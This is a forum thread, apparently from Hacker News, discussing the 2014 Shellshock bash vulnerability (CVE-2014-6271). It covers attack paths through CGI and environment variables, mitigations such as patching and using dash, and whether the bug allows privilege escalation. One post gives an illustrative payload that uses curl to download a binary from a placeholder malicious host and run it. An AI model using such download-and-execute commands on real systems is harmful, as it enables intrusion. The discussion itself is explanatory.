Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

CVE-2014-6271: Remote code execution through bash

seclists.org

Post reply on HN
Print view View original

61–70 of 432 posts

Re: CVE-2014-6271: Remote code execution through bash

#61

Post by ilconsigliere »

jrochkind1 wrote: post #51
ilconsigliere wrote: post #40

Am I wrong in thinking that seems a bit worse than Heartbleed?

The exploit is worse. But I'm not sure how a scanner bot would find network accessible bashes to exploit. Seems like basically you need a cgi-bin with bash, and I don't think there's any way to predict a URL that is going to have such a thing. Now, if there is some popular app that ends up vulnerable (perhaps because it shells out to bash), then that's definitely going to be huge. But as it is... I'm not sure?

Makes sense. This just strikes me as a very flexible exploit.

Re: CVE-2014-6271: Remote code execution through bash

#62

Post by kevinr »

justincormack wrote: post #21
kalops wrote: post #3

so basically turn off AcceptEnv in sshd_config?

Also don't use bash for running any scripts. You never should anyway, in a sane environment /bin/sh should not be bash - in Debian/Ubuntu it is dash which is not vulnerable. Unfortunately the Redhat derived distros do use bash as default /bin/sh. In the BSDs it is a standards compliant posix sh too. bash is for users not scripts.

And don't put #!/bin/bash at the top of your scripts.

And don't shell out in eg. Perl, or PHP, or Python, through bash.

Or just take a patched bash.

Re: CVE-2014-6271: Remote code execution through bash

#64

Post by kazinator »

Passing executable code in environment variables is an incredibly bad idea.

The parsing bug is a red herring; there are probably ways to exploit the feature even when it doesn't have the bug.

The parsing bug means that the mere act of defining the function in the child bash will execute the attacker's code stored in the environment variable.

But if this problem is closed, the issue remains that the attacker controls the environment variable; the malicious code can be put inside the function body. Even though it will not then be executed at definition time, perhaps some child or grand-child bash can be nevertheless goaded into calling the malicious function.

Basically this is a misfeature that must be rooted out, pardon the pun.

Re: CVE-2014-6271: Remote code execution through bash

#65

Post by ptaffs »

yxhuvud wrote: post #52
Someone1234 wrote: post #46

Earlier quoted context omitted.

> Most webservers put certain HTTP headers in environment variables. I legitimately don't understand why they might do such a thing. Can you explain?

They need to pass data into a CGI script somehow.

agreed, also Browser User Agent, referrer are all passed by the client and sent to Apache, which pushes them into environment variables.

Re: CVE-2014-6271: Remote code execution through bash

#66

Post by sophacles »

dllthomas wrote: post #49
korzun wrote: post #34

Earlier quoted context omitted.

Major impact of this is elevating privileges, both Debian and Ubuntu will be impacted just like any other system. I don't think anybody is worried about software on the system that is using /bin/bash .vs /bin/sh.

Where is the privilege escalation? I get the same results from running id through tripping the bug as I do from running id directly. Edited to add: Also no differences in capabilities when I cat /proc/self/status None of which is to say there is clearly no such vulnerability - I'd just like to understand it if there is.

Basically, anywhere this vulnerability exists, there is the option to run arbitrary code. That is for example:

   curl malicious.com/local_privilege_escalation_binary -o /tmp/iwin; iwin
could be the payload. This will download then run a secondary attack binary. Then the attacker wins.

Re: CVE-2014-6271: Remote code execution through bash

#68

Post by kevinr »

vidarh wrote: post #57
yxhuvud wrote: post #52

Earlier quoted context omitted.

They need to pass data into a CGI script somehow.

But a shell will rarely be involved in executing a CGI, unless that CGI itself executes one. And who still uses CGI scripts? Not to say nobody will be bitten by that, but I don't think that's going to be all that widespread.

Many people don't realize they use CGI scripts, but a lot of people are going to discover they do today.

Re: CVE-2014-6271: Remote code execution through bash

#69

Post by zobzu »

Oculus wrote: post #4

Have big security vulnerabilities been cropping up more often recently or does it seem that way because I've started to pay attention?

people started to pay attention. theres a bunch of new vulns being patched daily. if you follow cve's or oss list you can see that.

what's "new" (been done for a few years now) is that there's more marketing drive behind them. Fancy commercial names and websites dedicated and issues are often exaggerated.

Actually super critical vulns are still rare (like HB, codered, etc.)

Re: CVE-2014-6271: Remote code execution through bash

#70

Post by kevinr »

hijinks wrote: post #7
kalops wrote: post #3

so basically turn off AcceptEnv in sshd_config?

I don't think so. From what I've been reading it can be exploited via http requests. I'm sure a metasploit script is right around the corner. Edit: oh looks like only like mod_cgi related stuff is.. thats good then sort of

Any software where adversary-controlled input can set environment variables which then execs bash is affected. mod_cgi is just really easy to exploit.
Post reply on HN